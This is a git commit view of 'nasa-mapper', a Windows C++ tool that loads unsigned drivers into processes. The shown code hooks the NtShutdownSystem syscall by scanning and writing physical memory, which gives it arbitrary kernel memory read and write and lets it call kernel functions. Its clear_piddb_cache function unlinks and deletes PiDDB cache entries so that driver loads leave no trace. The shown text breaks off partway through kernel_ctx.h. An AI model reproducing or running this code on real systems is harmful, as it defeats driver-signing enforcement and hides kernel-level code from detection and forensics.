Browse Source

init commit

merge-requests/1/head
xerox 2 years ago
parent
commit
abe2ff69a8
  1. 21
      LICENSE
  2. 4
      README.md
  3. 173
      drv-example/drv-example.vcxproj
  4. 14
      drv-example/drv-example.vcxproj.filters
  5. 8
      drv-example/main.cpp
  6. 83
      nasa-mapper.sln
  7. 91
      nasa-mapper/direct.h
  8. BIN
      nasa-mapper/direct.lib
  9. 367
      nasa-mapper/kernel_ctx/kernel_ctx.cpp
  10. 126
      nasa-mapper/kernel_ctx/kernel_ctx.h
  11. 281
      nasa-mapper/loadup.hpp
  12. 48
      nasa-mapper/map_driver.cpp
  13. 27
      nasa-mapper/map_driver.hpp
  14. 163
      nasa-mapper/mapper_ctx/mapper_ctx.cpp
  15. 24
      nasa-mapper/mapper_ctx/mapper_ctx.hpp
  16. 424
      nasa-mapper/mem_ctx/mem_ctx.cpp
  17. 120
      nasa-mapper/mem_ctx/mem_ctx.hpp
  18. 223
      nasa-mapper/nasa-mapper.vcxproj
  19. 98
      nasa-mapper/nasa-mapper.vcxproj.filters
  20. 28
      nasa-mapper/nasa-mapper.vcxproj.user
  21. 196
      nasa-mapper/pe_image/pe_image.cpp
  22. 73
      nasa-mapper/pe_image/pe_image.h
  23. 84
      nasa-mapper/physmeme/physmeme.hpp
  24. 2238
      nasa-mapper/raw_driver.hpp
  25. 190
      nasa-mapper/util/hook.hpp
  26. 360
      nasa-mapper/util/nt.hpp
  27. 448
      nasa-mapper/util/util.hpp
  28. 29
      um-example/main.cpp
  29. 27
      um-example/map_driver.hpp
  30. BIN
      um-example/nasa-mapper.lib
  31. 155
      um-example/um-example.vcxproj
  32. 26
      um-example/um-example.vcxproj.filters
  33. 11
      um-example/um-example.vcxproj.user
  34. 20
      um-example/utils.h

21
LICENSE

@ -0,0 +1,21 @@
MIT License
Copyright (c) 2020 xerox
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

4
README.md

@ -1,3 +1,5 @@
# nasa-mapper
map a driver into the current process and not into the kernel
map a driver into specific processes only, with zero allocations in the kernel.
<center><img src="https://githacks.org/nasa-tech/nasa-mapper/raw/a84adea8a35af81a95e1c78b72133b5c856f9c64/unknown.png"/></center>

173
drv-example/drv-example.vcxproj

@ -0,0 +1,173 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|ARM64">
<Configuration>Debug</Configuration>
<Platform>ARM64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM64">
<Configuration>Release</Configuration>
<Platform>ARM64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}</ProjectGuid>
<TemplateGuid>{1bc93793-694f-48fe-9372-81e2b05556fd}</TemplateGuid>
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
<MinimumVisualStudioVersion>12.0</MinimumVisualStudioVersion>
<Configuration>Debug</Configuration>
<Platform Condition="'$(Platform)' == ''">Win32</Platform>
<RootNamespace>drv_example</RootNamespace>
<WindowsTargetPlatformVersion>$(LatestTargetPlatformVersion)</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
<Driver_SpectreMitigation>false</Driver_SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
<Driver_SpectreMitigation>false</Driver_SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM64'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM64'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>KMDF</DriverType>
<DriverTargetPlatform>Universal</DriverTargetPlatform>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
<EnableInf2cat>false</EnableInf2cat>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
<EnableInf2cat>false</EnableInf2cat>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM64'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM64'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<EntryPointSymbol>driver_entry</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<EntryPointSymbol>driver_entry</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<FilesToPackage Include="$(TargetPath)" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

14
drv-example/drv-example.vcxproj.filters

@ -0,0 +1,14 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

8
drv-example/main.cpp

@ -0,0 +1,8 @@
#include <ntifs.h>
NTSTATUS driver_entry(void* data)
{
DbgPrint("> Hello World");
DbgPrint("> data -> 0x%p\n", data);
return STATUS_SUCCESS;
}

83
nasa-mapper.sln

@ -0,0 +1,83 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30011.22
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "nasa-mapper", "nasa-mapper\nasa-mapper.vcxproj", "{A72CD068-E350-41C9-A4E5-DC7810575EA2}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "um-example", "um-example\um-example.vcxproj", "{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "drv-example", "drv-example\drv-example.vcxproj", "{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|ARM = Debug|ARM
Debug|ARM64 = Debug|ARM64
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|ARM = Release|ARM
Release|ARM64 = Release|ARM64
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|ARM.ActiveCfg = Debug|ARM
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|ARM.Build.0 = Debug|ARM
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|ARM64.ActiveCfg = Debug|ARM64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|ARM64.Build.0 = Debug|ARM64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|x64.ActiveCfg = Debug|x64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|x64.Build.0 = Debug|x64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|x86.ActiveCfg = Debug|Win32
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Debug|x86.Build.0 = Debug|Win32
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|ARM.ActiveCfg = Release|ARM
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|ARM.Build.0 = Release|ARM
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|ARM64.ActiveCfg = Release|ARM64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|ARM64.Build.0 = Release|ARM64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|x64.ActiveCfg = Release|x64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|x64.Build.0 = Release|x64
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|x86.ActiveCfg = Release|Win32
{A72CD068-E350-41C9-A4E5-DC7810575EA2}.Release|x86.Build.0 = Release|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|ARM.ActiveCfg = Debug|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|ARM64.ActiveCfg = Debug|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|x64.ActiveCfg = Debug|x64
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|x64.Build.0 = Debug|x64
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|x86.ActiveCfg = Debug|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Debug|x86.Build.0 = Debug|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|ARM.ActiveCfg = Release|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|ARM64.ActiveCfg = Release|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|x64.ActiveCfg = Release|x64
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|x64.Build.0 = Release|x64
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|x86.ActiveCfg = Release|Win32
{44064ACC-9743-4DC6-84AA-B4E2A3D8BF4D}.Release|x86.Build.0 = Release|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM.ActiveCfg = Debug|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM.Build.0 = Debug|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM.Deploy.0 = Debug|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM64.ActiveCfg = Debug|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM64.Build.0 = Debug|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|ARM64.Deploy.0 = Debug|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x64.ActiveCfg = Debug|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x64.Build.0 = Debug|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x64.Deploy.0 = Debug|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x86.ActiveCfg = Debug|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x86.Build.0 = Debug|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Debug|x86.Deploy.0 = Debug|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM.ActiveCfg = Release|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM.Build.0 = Release|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM.Deploy.0 = Release|ARM
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM64.ActiveCfg = Release|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM64.Build.0 = Release|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|ARM64.Deploy.0 = Release|ARM64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x64.ActiveCfg = Release|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x64.Build.0 = Release|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x64.Deploy.0 = Release|x64
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x86.ActiveCfg = Release|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x86.Build.0 = Release|Win32
{AE6ABACF-E2C2-49CC-B973-7B2B1C6E76B4}.Release|x86.Deploy.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {8A5B6CF5-8AA9-4F53-8A9D-6CD2FFDB2552}
EndGlobalSection
EndGlobal

91
nasa-mapper/direct.h

@ -0,0 +1,91 @@
#pragma once
#include <windows.h>
#include <cstdint>
#include <cstddef>
extern "C" NTSTATUS __protect_virtual_memory(
HANDLE p_handle,
void** base_addr,
std::size_t* bytes_to_protect,
std::uint32_t new_protect,
std::uint32_t* old_protect
);
extern "C" NTSTATUS __write_virtual_memory(
HANDLE p_handle,
void* base_addr,
void* buffer,
std::size_t size,
std::size_t* bytes_written
);
extern "C" NTSTATUS __read_virtual_memory(
HANDLE p_handle,
void* base_addr,
void* buffer,
std::size_t size,
std::size_t* bytes_written
);
extern "C" NTSTATUS __alloc_virtual_memory(
HANDLE p_handle,
void** base_addr,
std::uint32_t zero_bits,
std::size_t* size,
std::uint32_t alloc_type,
std::uint32_t protect
);
namespace direct
{
__forceinline bool protect_virtual_memory(
HANDLE p_handle,
void* base_addr,
std::size_t size,
std::uint32_t protect,
std::uint32_t* old_protect
)
{
return ERROR_SUCCESS == ::__protect_virtual_memory(p_handle, &base_addr, &size, protect, old_protect);
}
__forceinline bool write_virtual_memory(
HANDLE p_handle,
void* base_addr,
void* buffer,
std::size_t size
)
{
std::size_t bytes_written;
return ERROR_SUCCESS == __write_virtual_memory(p_handle, base_addr, buffer, size, &bytes_written);
}
__forceinline bool read_virtual_memory(
HANDLE p_handle,
void* addr,
void* buffer,
std::size_t size
)
{
std::size_t bytes_written;
return ERROR_SUCCESS == ::__read_virtual_memory(p_handle, addr, buffer, size, &bytes_written);
}
__forceinline void* alloc_virtual_memory(
HANDLE p_handle,
std::size_t size,
std::uint32_t protect
)
{
void* base_addr = NULL;
::__alloc_virtual_memory(
p_handle,
&base_addr,
NULL,
&size,
MEM_COMMIT | MEM_RESERVE,
protect
);
return base_addr;
}
}

BIN
nasa-mapper/direct.lib

Binary file not shown.

367
nasa-mapper/kernel_ctx/kernel_ctx.cpp

@ -0,0 +1,367 @@
#include "kernel_ctx.h"
namespace physmeme
{
kernel_ctx::kernel_ctx()
{
if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer)
return;
ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
LoadLibraryExA(
"ntoskrnl.exe",
NULL,
DONT_RESOLVE_DLL_REFERENCES
));
nt_rva = reinterpret_cast<std::uint32_t>(
util::get_module_export(
"ntoskrnl.exe",
syscall_hook.first.data(),
true
));
nt_page_offset = nt_rva % PAGE_SIZE;
std::vector<std::thread> search_threads;
//--- for each physical memory range, make a thread to search it
for (auto ranges : util::pmem_ranges)
search_threads.emplace_back(std::thread(
&kernel_ctx::map_syscall,
this,
ranges.first,
ranges.second
));
for (std::thread& search_thread : search_threads)
search_thread.join();
}
void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const
{
//if the physical memory range is less then or equal to 2mb
if (begin + end <= 0x1000 * 512)
{
auto page_va = physmeme::map_phys(begin + nt_page_offset, end);
if (page_va)
{
// scan every page of the physical memory range
for (auto page = page_va; page < page_va + end; page += 0x1000)
{
if (!is_page_found.load()) // keep scanning until its found
{
__try
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandleA(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
}
}
physmeme::unmap_phys(page_va, end);
}
}
else // else the range is bigger then 2mb
{
auto remainder = (begin + end) % (0x1000 * 512);
// loop over 2m chunks
for (auto range = begin; range < begin + end; range += 0x1000 * 512)
{
auto page_va = physmeme::map_phys(range + nt_page_offset, 0x1000 * 512);
if (page_va)
{
// loop every page of 2mbs (512)
for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000)
{
if (!is_page_found.load())
{
__try
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
}
}
physmeme::unmap_phys(page_va, 0x1000 * 512);
}
}
// map the remainder and check each page of it
auto page_va = physmeme::map_phys(begin + end - remainder + nt_page_offset, remainder);
if (page_va)
{
for (auto page = page_va; page < page_va + remainder; page += 0x1000)
{
if (!is_page_found.load())
{
__try
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
//
// this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking!
//
psyscall_func.store((void*)page);
auto my_proc_base = reinterpret_cast<std::uintptr_t>(GetModuleHandle(NULL));
auto my_proc_base_from_syscall = reinterpret_cast<std::uintptr_t>(get_proc_base(GetCurrentProcessId()));
if (my_proc_base != my_proc_base_from_syscall)
continue;
is_page_found.store(true);
return;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
}
}
physmeme::unmap_phys(page_va, remainder);
}
}
}
PEPROCESS kernel_ctx::get_peprocess(DWORD pid) const
{
if (!pid)
return NULL;
PEPROCESS proc;
static auto get_peprocess_from_pid =
util::get_module_export(
"ntoskrnl.exe",
"PsLookupProcessByProcessId"
);
syscall<PsLookupProcessByProcessId>(
get_peprocess_from_pid,
(HANDLE)pid,
&proc
);
return proc;
}
void* kernel_ctx::get_proc_base(unsigned pid) const
{
if (!pid)
return {};
const auto peproc = get_peprocess(pid);
if (!peproc)
return {};
static auto get_section_base =
util::get_module_export(
"ntoskrnl.exe",
"PsGetProcessSectionBaseAddress"
);
return syscall<PsGetProcessSectionBaseAddress>(
get_section_base,
peproc
);
}
void kernel_ctx::rkm(void* buffer, void* address, std::size_t size)
{
if (!buffer || !address || !size)
return;
size_t amount_copied;
static auto mm_copy_memory =
util::get_module_export(
"ntoskrnl.exe",
"memcpy"
);
if (mm_copy_memory)
syscall<decltype(&memcpy)>(
mm_copy_memory,
buffer,
address,
size
);
}
void kernel_ctx::wkm(void* buffer, void* address, std::size_t size)
{
if (!buffer || !address || !size)
return;
size_t amount_copied;
static auto mm_copy_memory =
util::get_module_export(
"ntoskrnl.exe",
"memcpy"
);
if (mm_copy_memory)
syscall<decltype(&memcpy)>(
mm_copy_memory,
address,
buffer,
size
);
}
void* kernel_ctx::get_physical(void* virt_addr)
{
if (!virt_addr)
return NULL;
static auto mm_get_physical =
util::get_module_export(
"ntoskrnl.exe",
"MmGetPhysicalAddress"
);
return syscall<MmGetPhysicalAddress>(
mm_get_physical,
virt_addr
);
}
void* kernel_ctx::get_virtual(void* addr)
{
if (!addr)
return NULL;
static auto mm_get_virtual =
util::get_module_export(
"ntoskrnl.exe",
"MmGetVirtualForPhysical"
);
PHYSICAL_ADDRESS phys_addr;
memcpy(&phys_addr, &addr, sizeof(addr));
return syscall<MmGetVirtualForPhysical>(
mm_get_virtual,
phys_addr
);
}
bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp)
{
static const auto piddb_lock =
util::memory::get_piddb_lock();
static const auto piddb_table =
util::memory::get_piddb_table();
if (!piddb_lock || !piddb_table)
return false;
static const auto ex_acquire_resource =
util::get_module_export(
"ntoskrnl.exe",
"ExAcquireResourceExclusiveLite"
);
static const auto lookup_element_table =
util::get_module_export(
"ntoskrnl.exe",
"RtlLookupElementGenericTableAvl"
);
static const auto release_resource =
util::get_module_export(
"ntoskrnl.exe",
"ExReleaseResourceLite"
);
static const auto delete_table_entry =
util::get_module_export(
"ntoskrnl.exe",
"RtlDeleteElementGenericTableAvl"
);
if (!ex_acquire_resource || !lookup_element_table || !release_resource)
return false;
PiDDBCacheEntry cache_entry;
const auto drv_name = std::wstring(file_name.begin(), file_name.end());
cache_entry.time_stamp = timestamp;
RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data());
//
// ExAcquireResourceExclusiveLite
//
if (!syscall<ExAcquireResourceExclusiveLite>(ex_acquire_resource, piddb_lock, true))
return false;
//
// RtlLookupElementGenericTableAvl
//
PIDCacheobj* found_entry_ptr =
syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
if (found_entry_ptr)
{
//
// unlink entry.
//
PIDCacheobj found_entry = rkm<PIDCacheobj>(found_entry_ptr);
LIST_ENTRY NextEntry = rkm<LIST_ENTRY>(found_entry.list.Flink);
LIST_ENTRY PrevEntry = rkm<LIST_ENTRY>(found_entry.list.Blink);
PrevEntry.Flink = found_entry.list.Flink;
NextEntry.Blink = found_entry.list.Blink;
wkm<LIST_ENTRY>(found_entry.list.Blink, PrevEntry);
wkm<LIST_ENTRY>(found_entry.list.Flink, NextEntry);
//
// delete entry.
//
syscall<RtlDeleteElementGenericTableAvl>(delete_table_entry, piddb_table, found_entry_ptr);
//
// ensure the entry is 0
//
auto result = syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return !result;
}
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return false;
}
}

126
nasa-mapper/kernel_ctx/kernel_ctx.h

@ -0,0 +1,126 @@
#pragma once
#include "../util/util.hpp"
#include "../physmeme/physmeme.hpp"
#include "../util/hook.hpp"
namespace physmeme
{
//
// offset of function into a physical page
// used for comparing bytes when searching
//
inline std::uint16_t nt_page_offset{};
//
// rva of nt function we are going to hook
//
inline std::uint32_t nt_rva{};
//
// base address of ntoskrnl (inside of this process)
//
inline const std::uint8_t* ntoskrnl_buffer{};
//
// has the page been found yet?
//
inline std::atomic<bool> is_page_found = false;
//
// mapping of a syscalls physical memory (for installing hooks)
//
inline std::atomic<void*> psyscall_func{};
//
// you can edit this how you choose, im hooking NtShutdownSystem.
//
inline const std::pair<std::string_view, std::string_view> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
class kernel_ctx
{
friend class mem_ctx;
public:
kernel_ctx();
//
// read kernel memory into buffer
//
void rkm(void* buffer, void* address, std::size_t size);
//
// write kernel memory from buffer
//
void wkm(void* buffer, void* address, std::size_t size);
template <class T>
T rkm(void* addr)
{
if (!addr)
return {};
T buffer;
rkm((void*)&buffer, addr, sizeof(T));
return buffer;
}
template <class T>
void wkm(void* addr, const T& data)
{
if (!addr)
return;
wkm((void*)&data, addr, sizeof(T));
}
//
// gets physical address from virtual
//
void* get_physical(void* virt_addr);
//
